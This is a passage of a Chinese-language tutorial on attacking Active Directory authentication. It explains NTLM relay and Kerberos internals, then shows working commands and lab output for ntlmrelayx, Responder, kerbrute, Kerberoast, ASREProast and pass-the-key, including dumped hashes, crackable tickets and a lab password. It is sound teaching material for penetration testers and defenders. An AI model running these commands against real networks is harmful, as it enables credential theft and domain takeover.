$ ntlmrelayx.py -t 192.168.100.10 -smb2support --no-http-server Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation [*] Protocol Client HTTP loaded.. [*] Protocol Client HTTPS loaded.. [*] Protocol Client SMB loaded.. [*] Protocol Client LDAP loaded.. [*] Protocol Client LDAPS loaded.. [*] Protocol Client SMTP loaded.. [*] Protocol Client IMAP loaded.. [*] Protocol Client IMAPS loaded.. [*] Protocol Client MSSQL loaded.. /usr/lib/python3/dist-packages/requests/__init__.py:91: RequestsDependencyWarning: urllib3 (1.26.3) or chardet (3.0.4) doesn't match a supported version! RequestsDependencyWarning) [*] Running in relay mode to single host [*] Setting up SMB Server [*] Servers started, waiting for connections [*] SMBD-Thread-2: Connection from CONTOSO/ANAKIN@192.168.100.7 controlled, attacking target smb://192.168.100.10 [*] Authenticating against smb://192.168.100.10 as CONTOSO/ANAKIN SUCCEED [*] Service RemoteRegistry is in stopped state [*] Starting service RemoteRegistry [*] Target system bootKey: 0xb471eae0e93128b9c8d5780c19ac9f1d [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:6535b87abdb112a8fc3bf92528ac01f6::: user:1001:aad3b435b51404eeaad3b435b51404ee:57d583aa46d571502aad4bb7aea09c70::: srvuser:1005:aad3b435b51404eeaad3b435b51404ee:38db3f2d2842051c8b7c01d56da283dd::: [*] Done dumping SAM hashes for host: 192.168.100.10 [*] Stopping service RemoteRegistry
通过ntlmrelayx.py实现从SMB2到SMB2的NTLM中继
另一个可以使用NTLM的协议是HTTP协议,并且默认情况下它不会使用签名。因此,HTTP协议可用于LDAP或SMB的跨协议中继攻击。
`client <-----HTTP----> attacker <----LDAP----> server | | | | | -----|--. | NEGOTIATE SIGN=0 | NEGOTIATE SIGN=0 | | | --------------------> | -------------------> | | | | | | | CHALLENGE SIGN=1 | CHALLENGE SIGN=1 | |> NTLM Relay | <-------------------- | <------------------- | | | | | | | AUTHENTICATE SIGN=0 | AUTHENTICATE SIGN=0 | | | --------------------> | -------------------> | -|---> MIC OK!! | | -----|--' | | || | | | vv | | | client SIGN = 0 | | | server SIGN = 1 | | | || | | | vv | | | Signing NOT required | | | Successful Attack!! | | | | | | application | | | messages | | | -------------------> | | | | | | <------------------- | | | | | | -------------------> | | | |`
从HTTP到LDAP的跨协议NTLM中继
正如您所看到的,由于客户端没有指定启用签名,因此不需要LDAP签名。这可以用来利用PrivExchange漏洞。实际上,中继到LDAP是非常有用的,因为您可以用来更改域数据库的ACL或对象,在某些情况下甚至可以用来提升权限。
为了执行NTLM中继攻击,我们可以使用ntlmrelayx.py或multirelay.py脚本,这些脚本可以与responder.py结合起来,从而发动中间人攻击。在Windows系统中,其他方法是使用Inveigh来发动MiTM和中继攻击。这个工具的局限性是不允许从Windows计算机执行从SMB2到SMB2的NTLM中继攻击,因为该系统使用的是端口445。
除了SMB和LDAP之外,还有其他协议,如MS-SQL或SMTP,也支持NTLM,所以,它们也可用于发动这种攻击。
NTLM Relay Protections
然而,对于跨协议的NTLM中继,也存在对应的保护措施,即Channel Binding或EPA(Enhanced Protection for Authentication)。Channel Binding技术的原理是在NTLM的AUTHENTICATE消息中添加应用协议的信息,并通过MIC保护该信息。为此,系统引入了两种类型的绑定:服务绑定和TLS绑定。
服务绑定技术会要求客户端在AUTHENTICATE消息的AvPairs中指定服务SPN(由NTLMv2哈希值提供保护),因此,服务器可以检查NTLM请求是否是发给它的。例如,如果客户端指出某NTLM请求是发给LDAP服务的,而收到该请求的服务器是处理SMB(因为中间存在攻击者)的,它将拒绝进行身份验证。此外,SPN也会指定服务器的地址,所以,如果它被转发到非目标服务器,身份验证将被拒绝。
另一方面,在TLS绑定中,客户端会用服务器凭据的会话密钥计算一个哈希值,称为CBT(通道绑定令牌),以用来创建TLS通道。如果有攻击者进行MiTM攻击,那么攻击者提供的凭据(它需要创建一个新的凭据来解密/加密TLS流量)将与原始服务器的凭据不同。因此,服务器将检查由客户端生成的CBT,如果它与自己的凭据的哈希值不匹配,它将拒绝该身份验证。
与签名一样,通道绑定的应用取决于应用协议。SMB和LDAP的更新客户端应该使用通道绑定,但是服务器似乎并没有检查它。
NTLM hashes cracking
尽管如此,即使在无法进行中继攻击的情况下,也有可能通过执行中间人攻击来获取NTLM哈希值,然后进行破解。为此,您可以使用Responder.py或Inveigh等工具来执行PiTM攻击。
# ./Responder.py -I enp7s0 __ .----.-----.-----.-----.-----.-----.--| |.-----.----. | _| -__|__ --| _ | _ | | _ || -__| _| |__| |_____|_____| __|_____|__|__|_____||_____|__| |__| NBT-NS, LLMNR & MDNS Responder 3.0.2.0 Author: Laurent Gaffie (laurent.gaffie@gmail.com) To kill this script hit CTRL-C [+] Poisoners: LLMNR [ON] NBT-NS [ON] DNS/MDNS [ON] [+] Servers: HTTP server [ON] HTTPS server [ON] WPAD proxy [OFF] Auth proxy [OFF] SMB server [ON] Kerberos server [ON] SQL server [OFF] FTP server [ON] IMAP server [ON] POP3 server [ON] SMTP server [ON] DNS server [ON] LDAP server [OFF] RDP server [ON] [+] HTTP Options: Always serving EXE [OFF] Serving EXE [OFF] Serving HTML [OFF] Upstream Proxy [OFF] [+] Poisoning Options: Analyze Mode [OFF] Force WPAD auth [OFF] Force Basic Auth [OFF] Force LM downgrade [OFF] Fingerprint hosts [OFF] [+] Generic Options: Responder NIC [enp7s0] Responder IP [192.168.100.137] Challenge set [random] Don't Respond To Names ['ISATAP'] [!] Error starting TCP server on port 80, check permissions or other servers running. [+] Listening for events... [*] [LLMNR] Poisoned answer sent to 192.168.100.7 for name fake-pc [*] [LLMNR] Poisoned answer sent to 192.168.100.7 for name fake-pc [SMB] NTLMv2-SSP Client : 192.168.100.7 [SMB] NTLMv2-SSP Username : CONTOSO\anakin [SMB] NTLMv2-SSP Hash : anakin::CONTOSO:9ec132434bd81f13:77E13480A5BE1935B832EE3E698C2424:0101000000000000C0653150DE09D2017C322564C9ADBF6D000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D20106000400020000000800300030000000000000000100000000200000EE905EC8AAB434C41EE46C38DB764C06DF037FE97986A0CE2A7B6D7043FA4C900A001000000000000000000000000000000000000900180063006900660073002F00660061006B0065002D00700063000000000000000000
使用Responder.py捕获NTLM哈希值
另一种已知的检索NTLM哈希值的可能方法是创建恶意文件,当这些文件打开时与服务器建立连接。您可以使用NTLM_SUNTY来创建收集NTLM哈希值的文件。
此外,您还可以利用XXE或LFI等Web服务中的漏洞,通过强制连接到您控制的计算机来获取NTLM哈希值。有时,我们甚至可以直接通过互联网获取NTLM哈希值。
最后,您可以使用Hashcat来破解NTLM哈希值。NTLM哈希值(或Net-NTLM哈希值)是通过客户端帐户的NT哈希值(以及AUTHENTICATE消息中包含的公共信息)创建的。NTLMv1哈希值比NTLMv2哈希值更容易破解,因为它们是用较弱的算法创建的。
Kerberos
Kerberos Basics
Kerberos是Active Directory网络中域帐户的首选身份验证协议(但是不能在工作组中使用)。它是由Kerberos SSP实现的。RFC4120文档详细介绍了Kerberos协议,而MS-KILE文档则介绍了该协议用于Active Directory的扩展版本。
Kerberos专注于使用称为“票证”的令牌,它允许用户根据主体进行身份验证。
Kerberos principals
最常见的Kerberos主体是用户和服务。
要请求服务的票证,您必须指定其SPN,例如HTTP/Computer。此外,还有一些Kerberos主体类型也可用于请求服务,比如NT-SRV-INST、NT-SRV-HST或NT-SRV-XHST。
另一方面,我们还可以使用主体来表示用户,实际上它们通常用于指示请求票证的客户端的名称。用户通常是由SamAccountName(例如“foo”)表示的,使用的类型为NT-PRINCIPAL。
但是,也有NT-ENTERPRISE类型,它允许使用更显式的格式来标识用户:SamAccountName@DomainFQDN(例如“foo@contoso.local”)。当您发出域间请求时,NT-ENTERPRISE可用于识别来自不同域的用户。
此外,还可以将用户主体作为票证的目标。攻击者可利用这一点,在不了解用户服务的情况下执行Kerberoast攻击。
Tickets
票证是一种部分加密的结构体,其中包含:
- 票证所应用的目标主体(通常是服务)
- 与客户端相关的信息,如名称和域
- 在客户端和服务之间建立安全通道的密钥
- 确定票证有效期间的时间戳
Ticket ::= [APPLICATION 1] SEQUENCE { tkt-vno [0] INTEGER (5), realm [1] Realm, sname [2] PrincipalName, -- Usually the service SPN enc-part [3] EncryptedData -- EncTicketPart } EncTicketPart ::= [APPLICATION 3] SEQUENCE { flags [0] TicketFlags, key [1] EncryptionKey, -- Session Key crealm [2] Realm, cname [3] PrincipalName, transited [4] TransitedEncoding, authtime [5] KerberosTime, starttime [6] KerberosTime OPTIONAL, endtime [7] KerberosTime, renew-till [8] KerberosTime OPTIONAL, caddr [9] HostAddresses OPTIONAL, authorization-data [10] AuthorizationData OPTIONAL -- Includes a PAC }
票证的定[[HTB-Active#端口扫描]义
PAC
除了常规的票证数据之外,Kerberos的Active Directory实现通常还在授权数据票证字段中提供Active Directory身份验证中的一个重要结构:PAC。
PAC(Privilege Attribute Certificate)提供了与客户端相关的安全信息:
- 客户端域:包括域名和SID(分别为LogonDomainName和LogonDomainId)。
- 客户端用户:用户名和用户RID(分别为EffectiveName和UserId)。
- 客户端组:用户所属的那些域组的RID(GroupID)。
- 其他组:PAC包括其他SID(Extrasid),它指的是非域组,可用于域间认证,以及用于表示特殊特征的Well-Known SID。
除了用户信息之外,PAC还包括多个签名,用于验证PAC和票证数据的完整性。
- 服务器签名:PAC内容的签名,所创建的密钥与用于加密票证的密钥相同。
- KDC签名:使用KDC密钥创建的服务器签名的签名,可用于检查PAC是否由KDC创建,以防御Silver票攻击,但未被检查。
- 票证签名:使用KDC密钥创建的票证内容的签名。该签名是最近为防御Bronze位攻击而引入的。
Kerberos actors
正如我们所看到的,Kerberos使用票证根据服务对用户进行身份验证。但它们是如何使用这些票证的呢?为了回答这个问题,我们首先应该知道Kerberos身份验证涉及哪些角色。
我们已经知道第一个角色就是客户端,即接收并使用票证来访问域(或林中)中的服务的用户。
然后,我们开始介绍第二个角色,即服务。嗯,就是谈论Kerberos时通常所说的AP(Application Server),即提供用户想要访问的服务的机器。AP可以是域中的任何计算机。
最后,我们需要有人提供票证给用户,即KDC(Key Distribution Center,密钥分发中心)。您可能已经猜到,在Active Directory中,KDC就是域控制器,因为它可以访问对用户进行身份验证所需的域数据库。
在Kerberos中,TGT是由AS(Authentication Service/Server,身份验证服务/服务器)提供的,ST则所由TGS(Ticket-Granting Service/Server,票证授予服务/服务器)提供的。这两个服务都会向KDC请求Kerberos密钥。但是,由于所有这些服务通常运行在同一台服务器上,为了简单起见,将它们统称为KDC。
Ticket types
现在,我们已经介绍了客户端、AP、KDC和票证,接下来,让我们看看Kerberos协议到底是如何工作的。为此我们应该牢记,Kerberos协议中有两种类型的票证。
ST
第一种是ST(Service tickets,服务票证),客户端为了获得对AP/服务/主体的访问权限而向其出示的票证。KDC将为向其发送请求的客户颁发ST。
在许多其他出版物中,ST有时被称为TGS。但在rfc4120文档中,TGS指的是提供服务票证的服务。我认为ST被称为TGS可能是由于对Ticket-Granting Service(票证授予服务)这一术语的误解所致:人们可能认为它指的是授予服务的票证(就像我过去所认为的那样),但实际上指的是授予票证的服务。总之,如果其他出版物或工具在谈论TGS时,有可能是指用于获得服务访问权限的票证。
在Active Directory中,客户端可以为域数据库中注册的任何服务获取ST,即使用户不能访问该服务(Kerberos不处理授权),或者即使该服务没有运行,也没有关系。
ST应该由目标主体/服务而不是其他方读取,因为它们包含需要进行身份验证的客户端的相关信息,以及与客户端建立连接的会话密钥。因此,需要使用目标主体的密钥对ST进行加密处理。
对于Active Directory,目标主体通常是指属于用户帐户(或计算机帐户,也是Active Directory中的用户)的服务。在这种情况下,TGT是通过服务的帐户所有者的密钥进行加密的。
从这些信息中,我们可以总结出以下几点:
首先,如果我们知道目标主体的密钥(从密码中导出),那么我们就可以伪造该主体的票证。就Active Directory而言,如果我们知道某个用户的密钥,我们就可以创建自定义票证来访问该用户的任何服务。这些定制的票证被称为银票(Silver ticket)。
例如,如果您知道计算机帐户的密码(通常存储在机器的LSA秘密中),就可以为机器的SMB服务创建银票,并像管理员一样访问机器。
但是,您可能会注意到票证PAC的KDC签名是用KDC密钥签名的,所以我们无法伪造一个完全真实的票证。尽管如此,但是,服务并不会检查KDC签名。
第二个需要注意的问题是,如果几个服务属于同一个用户,它们将使用相同的密钥进行加密。你可以利用这一信息以及票证的目标服务是在票证的非加密部分(sname字段)中指定的这一事实。因此,如果您将票证的目标服务改为同一用户的另一个服务,该票证就能用于新的目标服务。
这种技术在某些情况下可能是非常有用的,例如,如果您能够为machineA中的MSSQL数据库的管理员申请ST(SPN=MSSQLSVC\machineA),您就可以修改该服务,以使其指向同一台机器的SMB服务(SPN=CIFS\machineA),从而获得该机器的访问权限。
TGT
为了从KDC获得ST,用户需要出示另一种类型的票证,即TGT(票证授予票证)。TGT就像是KDC的ST(事实上,仅此而已)。
实际上,按照只允许目标主体访问票证的原则,所有TGT都必须使用域的krbtgt帐户的密钥(称为KDC密钥)进行加密。因此,如果您能够检索krbtgt的密钥(通常存储在域数据库中),您就可以创建称为金票(Golden Tickets)的自定义TGT。
由于可以为任何客户端创建票证,因此,我们就可以冒充域中的任何用户,包括管理员。金票甚至可以通过在PAC中设置特殊特权SID,比如企业管理员,来破坏整个林的防御体系。
之所以能够做到这一点,是因为PAC包含与用户相关的安全数据,并且不会验证信息是否为真(至少在票证过期20分钟之前是这样的),因此,您可以将任何用户添加到票证中的任何组,甚至可以为不存在的用户创建票证。
为了获得TGT,通常需要使用KDC的凭据对用户进行身份验证。
Ticket acquisition
现在,我们已经了解了ST和TGT,接下来,让我们开始深入研究Kerberos到底是如何工作的,即票证是如何颁发的:
`KDC (DC) .----->-1) AS-REQ-------> .---. | / /| -------8] PAC Response-----------. | .--<-2) AS-REP (TGT)--< .---. | | | | | | ' | | | .>-4) TGS-REQ (TGT)-> | |/ <-7] KERB_VERIFY_PAC_REQUEST-. | | | | '---' | | | | | .<-5) TGS-REP (ST)--<' | | | | | | | v | v | v ^ ^ ^ .---. _____ / /| | | <----3) Authentication negotiation (SPNEGO)----> .---. | |_____| | | ' /:::::/ >-------------------6) AP-REQ (ST)-------------> | |/ client '---' <-------------------9] AP-REP------------------< AP (service)`
Kerberos的运行原理
客户端通过发送AS-REQ消息向ASKDC)请求TGT。在AS-REQ消息中,客户可以提供一个用其Kerberos密钥加密的时间戳。这被称为Kerberos预身份验证,有时并不是必须的。 * AS(KDC)会检查时间戳(或不进行检查),并以AS-REP消息作为响应,该消息包含两个加密部分:用KDC密钥加密的TGT和用客户密钥加密的客户数据。会话密钥等若干信息将被拷贝到这两部分中,因此,用户和KDC都可以共享这部分信息。 * 之后,客户端与AP中的服务建立连接,并与SPNEGO协商身份验证协议。如果选择Kerberos协议,客户端需要为目标服务申请ST。 * 因此,它通过发送包括其TGT和目标服务的SPN的TGS-REQ,向KDC请求ST。同时,它还会发送一些经过会话密钥加密的数据,如客户的用户名和时间戳,以验证连接。 * KDC用其密钥对TGT进行解密,从而获得用户名和会话密钥。然后,KDC使用会话密钥来解密用户发送的用户名,以验证其正确性。在核对一切无误后,KDC将以TGS-REP消息进行响应,该消息包含两个加密部分:用服务用户密钥加密的目标服务ST,以及用会话密钥加密的客户数据。并且,还会将某些信息,如服务会话密钥拷贝到这两部分中,因此,用户和服务都可以共享这些信息。 * 客户端在AP-REQ消息中向该服务发送ST。该服务将会对ST进行解密,从而得到服务会话密钥和PAC。之后,该服务将使用关于客户端的PAC的安全信息来确定用户是否可以访问其资源。 * (可选)如果该服务想验证PAC,它可以使用Netlogon协议要求DC用KERB_VERIFY_PAC_REQUEST来验证PAC签名。 * (可选)服务器将检查PAC,并返回一个代码作为响应,指出PAC是否正确。 * (可选)最后,如果客户端需要的话,服务还必须通过AP-REP消息来响应AP-REQ消息,从而对自己的身份进行验证,并用会话密钥来证明服务可以解密ST,以此证明它就是真正的服务而不是冒牌的。
从这个过程中,我们可以注意到Kerberos与NTLM有所不同,它提供了一些其他应用协议中没有提供的消息,比如AS-REQ和TGS-REQ,它们会被直接发送给DC。
Kerberos services
DC将在88/TCP和88/UDP端口上监听Kerberos协议的消息。
`.----- | .--- .----KDC---> | 88 | '--- Domain Kerberos --| | | .--- Controller '-kpasswd--> | 464 '--- | '-----`
Kerberos协议的相关端口
除了KDC之外,Kerberos协议还提供了另一个服务kpasswd,可用于修改域中用户的密码。实际上,服务kpasswd可以在DC的端口464/TCP和464/UDP中找到。它可以与实用工具ksetup一起使用,这时,可以通过Ctrl+Alt+Del快捷键调出“Change a password”屏幕进行使用,也可以与Rubeus changepw一起使用。
通过kpasswd使用修改密码工具
Kerberos keys
通过修改密码,用户可以更改用于加密Kerberos消息和票证的Kerberos密钥。
实际上,存在多种不同的密钥,因为每个密钥对应于Kerberos所用的一种加密算法。Kerberos支持的加密算法如下: * * RC4-HMAC:RC4算法使用的密钥是用户的NT哈希值。 * AES128-CTS-HMAC-SHA1-96:AES128算法使用的密钥是从用户密码(以及域和用户名)派生的16个字节的哈希值。 * AES256-CTS-HMAC-SHA1-96:AES256算法使用的密钥是从用户密码(以及域和用户名)派生的32个字节的哈希值。 * DES-CBC-MD5:这个是不推荐的,但是其密钥仍然存储在域数据库中。
根据所选的算法,Kerberos将使用对应的密钥。在Active Directory中,建议使用AES256算法。
注意:当我在本文中使用术语Kerberos密钥时,一般指的是由Kerberos协商的任何可能的密钥。
Kerberos basic attacks
现在我们已经了解了Kerberos的基本知识,接下来,我们开始介绍各种攻击Kerberos的方法。
要想了解全面的Kerberos攻击命令,请参阅https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a。
Kerberos brute-force
由于Kerberos是一种身份验证协议,因此可以使用它来测试网络中用户的凭据。
此外,Kerberos的错误消息是非常详细的,可以用来区分蛮力攻击中遇到的不同情况:
- kdc_err_preauth_failed:密码不正确
- kdc_err_c_principal_unknown:无效的用户名
- KDC_ERR_INVERR_REALL:无效的域
- kdc_err_client_revoked:已被禁用/封锁的用户
通过检查错误消息,您不仅可以测试有效的凭据,还可以枚举用户帐户,并知道攻击是否阻止了某些帐户。注意,发动这种攻击时要格外小心!!
需要记住的另一件事是,身份验证错误不是与普通登录失败事件(代码:4625)一起记录的,而是与默认情况下不记录的Kerberos预身份验证失败(代码:4771)一起记录的。
您可以使用Rubeus brute、kerbrute(Go)、kerbrute(Python)或cerbero来发动Kerberos蛮力攻击。
$ python kerbrute.py -domain contoso.local -users users.txt -passwords passwords.txt -dc-ip 192.168.100.2 Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation [*] Valid user => Anakin [*] Blocked/Disabled user => Leia [*] Valid user => Han [NOT PREAUTH] [*] Valid user => Administrator [*] Stupendous => Anakin:Vader1234! [*] Saved TGT in Anakin.ccache
使用kerbrute.py脚本发动Kerberos蛮力攻击
Kerberoast
在Active Directory中,任何用户都可以通过SPN为其在域数据库中注册的任何服务请求ST,而不管该服务是否正在运行。
此外,ST将使用服务用户的Kerberos密钥(从密码派生)进行部分加密。因此,如果获得了ST,则可以尝试通过解密ST来破解服务用户密码。
大多数服务都是注册在机器帐户中的,并且具有自动生成的120个字符的密码,同时,这些密码每个月都会变一次,所以破解它们的ST是行不通的。
然而,某些服务有时会被分配给由人管理的普通用户帐户,这些帐户可能具有弱密码。这种情况下,就可以设法破解这些服务的ST,从而得到用户密码。
Kerberoast攻击包括对普通用户帐户的服务的请求ST,并试图破解这些请求以获得用户密码。通常,拥有服务的用户也拥有特权,所以这些帐户通常会成为攻击者的目标。
通过使用以下筛选器,可以在任何LDAP客户端中使用SPN检查用户帐户:
(&(samAccountType=805306368)(servicePrincipalName=*))
通过基于SPN的LDAP筛选器,来筛选用户
更具体地说,要检索待破解的ST,可以使用impacket提供的GetUserSPNs.py脚本、Rubeus的kerberoast命令,或Invoke-Kerberoast.ps1脚本。
root@debian10:~# GetUserSPNs.py 'contoso.local/Anakin:Vader1234!' -dc-ip 192.168.100.2 -outputfile kerberoast-hashes.txt Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation -------------------- ---- --------------------------------------------- -------------------------- -------------------------- ---------- HTTP/ws01-10 leia CN=Domain Admins,CN=Users,DC=contoso,DC=local 2021-01-01 16:38:02.183703 2021-01-15 11:46:13.998905 root@debian10:~# cat kerberoast-hashes.txt $krb5tgs$23$*leia$CONTOSO.LOCAL$HTTP/ws01-10*$65ca3e856acd6d9438c05cb6c283dcb5$ab86cafcf1dee23d2466973679fc315e9fef3fa2ddcae82d844b31e1651ed983a4d4ff0846148ddf63f80129cd2cb663c7daed26169513ec398464a9796ae7f84e593829f16654279d5b3fa4286eb1e6467a3d569bc88d7150f30cf2dc83ff4185f0a7590b9e5a05ba63cb9dbb710df295c4356cc57ac53cc2d0e0974aeb0e2ae930e6311c5268c457d5da726393e93e9b0d1c8d745ad7b6d63bf36eb11c7f171da87bee9d4ac69b2a8f70157ce402af52ffd35498e3cade179af266be08e5fcf3aee6a0dae26afb6470ba2d25c922868b9a0ca4c80eece585782ea0ea96b6e4f3ee56dc1808990ecf456c021d04ec74edef98b3235553176e55d56a7f3ee9c76f2f22ab7e3d30fabc658a516f8ef03710032aaae36a917cc7e677857c09df3035bd6034aa192c620c9cb6452533225e9606ac06cf0a6a5865468599cd73907b574cef0c081df388ea50176288a444692db96026d2f33f3ba4e8597d11557443e262bee86ca6485272addcf03056a93b6e7e60c02a152640f320e7094f5897fbf1cee83ab45a6f62fc554ec1c67878d9aa7974e43e2f1bdff2b0c197e3ccbd9daf84c1a37bc453aec6a0fa502c05ae530e14a5d1f7bceb5cb1393460a0f8eec8b058ede6ceda637a3c248fcd1e1fe57ae2f2d343c5e749cf9897023b910a3e2b13025584b2a9d4e73e9809ba25231b3fd3616476e51406993d354c9015a95888957e3d3d69784dc8b5c12b11e225756a41485c57467aa1c4041e6c7879f4efe65710fd760c5c3472f1ebefefa8a0f5099ccff5ef84162b1ddd42d795d82a8ac09f811e692c5aec13ee5f9e6335a5501f50412cee10da5a1a444cc5a1f9885885088b6f01d36dc8684101fde2a3c4a40ffe424ca8b3512455f5662794c64fed3b5183aaa9a338f18a33da8e41ac8a4e5598925cfe49db7362f107e018694922b26e20d5e3f125ff151f4299919fa082ad6f0d15643a69584a41b06ba46cca25c57ac51e7430c9166cdcc34428e108fba970d0c550694b431179d867f6b6dfe91e893be37bcf8407e9965921cbcf7b17a7f575ec64e4c7fb8bde0d4994b382cc58b44fc964528ac9aae46b5a84109f3f3ef23a71cca40355d71c95aa191cc11fbd66613f05f58eb74b07530b3deef934811da775c00d6a4217508501b14958b5241a8be72d20f891d5122936ebee8c636a7c746a3bae78d435c11efa4c8693d87d9d7f7c7369ea620d886affea1e1cfbcb216d9f44ad42fedbc81f71722eccc6b54b00c2e80902a1fe49d06ca099f8db51aa1f2ad9ad761208f38803d0c842bbbcaf0c08259904eebdd4
基于GetUserSPNs.py的Kerberoast攻击
一旦ST到手,就可以尝试用hashcat进行破解。为了便于破解,应该使用RC4算法对ST请求进行加密,但是,由于大多数请求都需要AES256加密,这可能被检测为异常网络流量(通过Microsoft ATA等解决方案)。
当然,攻击者也可以在不知道服务SPN的情况下执行Kerberoasting攻击。请记住,您可以为域中的不同主体(包括服务和用户)请求Kerberos票证。
因此,您可以为给定的用户请求票证,该票证将使用用户密钥进行加密。但是,目标用户必须注册了相关的服务,才能为其检索票证。
由于为用户作为目标主体名称获取的ST也是通过用户密钥进行加密的,因此,它们也可以用于Kerberoasting攻击。另外,在无法通过LDAP枚举用户的时候,这对于穷举kerberoasteable用户也是很有用的,因为没有SPN的用户的主体名称是无法解析的。
实际上,impacket的getuserspns.py脚本就使用了这种技术。它还可以与带有/enterprise标志的Rubeus kerberoast命令和cerbero kerberoast命令一起使用。
此外,如果您对一个用户帐户具有Validated-SPN权限的话,就可以为该帐户添加SPN,使其成为Kerberoasteable的。这样,您就可以为该帐户服务请求一个ST,并尝试破解它。在默认情况下,帐户本身并不具备Validated-SPN权限。
ASREProast
实际上,大多数用户都需要执行Kerberos预身份验证,也就是说,在AS-REQ消息中向KDC发送一个用Kerberos密钥加密的时间戳(以请求TGT)。
但是,在少数情况下,会通过设置DONT_REQUIRE_PREAUTH标志,来禁用帐户的Kerberos预身份验证。因此,任何人都可以通过发送AS-REQ消息来冒充这些帐户,而 KDC将返回AS-REP响应,并且该响应是通过用户的Kerberos密钥进行加密的。
AS-REP ::= [APPLICATION 11] KDC-REP KDC-REP ::= SEQUENCE { pvno [0] INTEGER (5), msg-type [1] INTEGER (11 -- AS --), padata [2] SEQUENCE OF PA-DATA OPTIONAL crealm [3] Realm, cname [4] PrincipalName, ticket [5] Ticket, -- Encrypted with krbtgt key enc-part [6] EncryptedData -- Encrypted with user key }
AS-REP消息的定义
您无法直接访问AS-REP数据,因为它是用用户密钥加密的(它来自用户密码),不过,可以尝试离线破解攻击来获取用户密码。
发动ASREProast攻击时,将在无需Kerberos预身份验证的情况下识别用户,并以他们的身份来发送AS-REQ,以检索AS-REP消息中用用户密钥加密的数据。一旦得手,就可以进行离线破解攻击,以恢复用户密码。
(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))
针对无需进行Kerberos预身份验证的用户的LDAP筛选器
你可以使用impacket GetNPUsers.py脚本、Rubeus asreproast命令或ASREPRoast.ps1脚本等工具来检索AS-REP的加密数据。
$ GetNPUsers.py 'contoso.local/Anakin:Vader1234!' -dc-ip 192.168.100.2 -outputfile asreproast-hashes.txt Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation Name MemberOf PasswordLastSet LastLogon UAC ---- -------- -------------------------- -------------------------- -------- han 2020-12-16 10:53:35.177156 2021-05-12 09:19:28.469863 0x410200 root@debian10:~# cat asreproast-hashes.txt $krb5asrep$23$han@CONTOSO.LOCAL:73eea4275625972c2e224648c4766b5a$1bbdaba56bb6eba4ea8cb565221de2fe2b5a8ade3d1155e33aa4d786624b84a62a100d97412361c851dfbf3d95ce3d047916bc66ddcec557f70b232a1d029f6a889e49e35069494b43e4b00b892d4ccc4d31e0c4970e8aff426eaa6821133e9a2bbef017ef9241c95d0098bfea4fd2b3c2919e1247de05d19db59fec46a81a60f0f89a2d9c105b9e00011387e756cb284b0ba785655526e3ba6c51f3b8eba21e674d4f1b4e93025f9cf0dccb1f86c3247f0b9ebfc663be5510faf2b77d932351ac4899cb77be58271dc01a3304bfd1de6216e04e5d9033859b92fa87438863c2dff112237c2ace8cffbc2dbb57c6
一旦获得了用户TGT,就可以用hashcat来破解它。您可以请求一个使用RC4算法加密的代理,以便能够更轻松地破解它。
Pass the Key/Over Pass the Hash
正如你所注意到的,在请求TGT时,用户不需要使用其密码,而是使用其Kerberos密钥。因此,如果攻击者能够窃取Kerberos密钥(NT哈希值或AES密钥),就可以用它来冒充用户请求TGT,而不需要知道用户密码。
在Windows中,Kerberos密钥通常被缓存在lsass进程中,所以,可以通过使用mimikatz sekurlsa::ekeys命令来检索该密钥。此外,你也可以用procdump、sqldumper或其他工具来转储lsass进程,然后用mimikatz离线提取该密钥。
在Linux中,Kerberos密钥会被存储在keytab文件中,以便用于Kerberos服务。keytab文件通常可以在/etc/krb5.keytab中找到,或者在环境变量KRB5_KTNAME或KRB5_CLIENT_KTNAME指定的值中找到,或者在/etc/krb5.conf中的Kerberos配置文件中指定。
找到keytab后,可以将其复制到本地计算机和/或使用klist(Kerberos MIT)或Cerbero来提取其密钥。
$ klist -k -Ke Keytab name: FILE:/etc/krb5.keytab KVNO Principal ---- -------------------------------------------------------------------------- 1 r2d2@contoso.local (DEPRECATED:arcfour-hmac) (0xc49a77fafad6d3a9270a8568fa453003)
用klist读取keytab
一旦获得了Kerberos密钥,就可以在Windows中通过Rubeus asktgt命令来请求TGT。
在Linux机器中,您可以使用MIT Kerberos程序来创建基于该密钥的keytab,并请求TGT,或者直接将密钥与impacket gettgt.py脚本或cerbero ask命令一起使用。
$ cerbero ask -u contoso.local/Anakin --aes ecce3d24b29c7f044163ab4d9411c25b5698337318e98bf2903bbb7f6d76197e -k 192.168.100.2 -vv INFO - Request contoso.local/Anakin TGT for contoso.local INFO - Save contoso.local/Anakin TGT for contoso.local in /root/Anakin.ccache
基于cerberod的Pass-The-Key攻击
Kerberos票证有两种格式:ccache和krb。ccache是Linux机器用来存储票证(通常在文件中)的格式。krb格式在Windows中用于将票证存储在lsass内存中,它也是通过网络传输票证的格式。此外,您还可以使用ticket_converter.py脚本或cerbero convert命令将票证从一种格式转换为另一种格式。
$ python ticket_converter.py ~/Anakin.ccache ~/Anakin.krb Converting ccache => kirbi
用ticket_converter.py转换票证格式
此外,还可以使用cerbero hash命令,通过用户密码计算Kerberos密钥。另外,只需几行python代码,就可以通过get-kerberosaeskey.ps1或NT哈希值来计算AES密钥。
$ cerbero hash 'Vader1234!' -u contoso.local/Anakin rc4:cdeae556dc28c24b5b7b14e9df5b6e21 aes128:18fe293e673950214c67e9f9fe753198 aes256:ecce3d24b29c7f044163ab4d9411c25b5698337318e98bf2903bbb7f6d76197e
用cerbero计算Kerberos密钥
Pass the Ticket
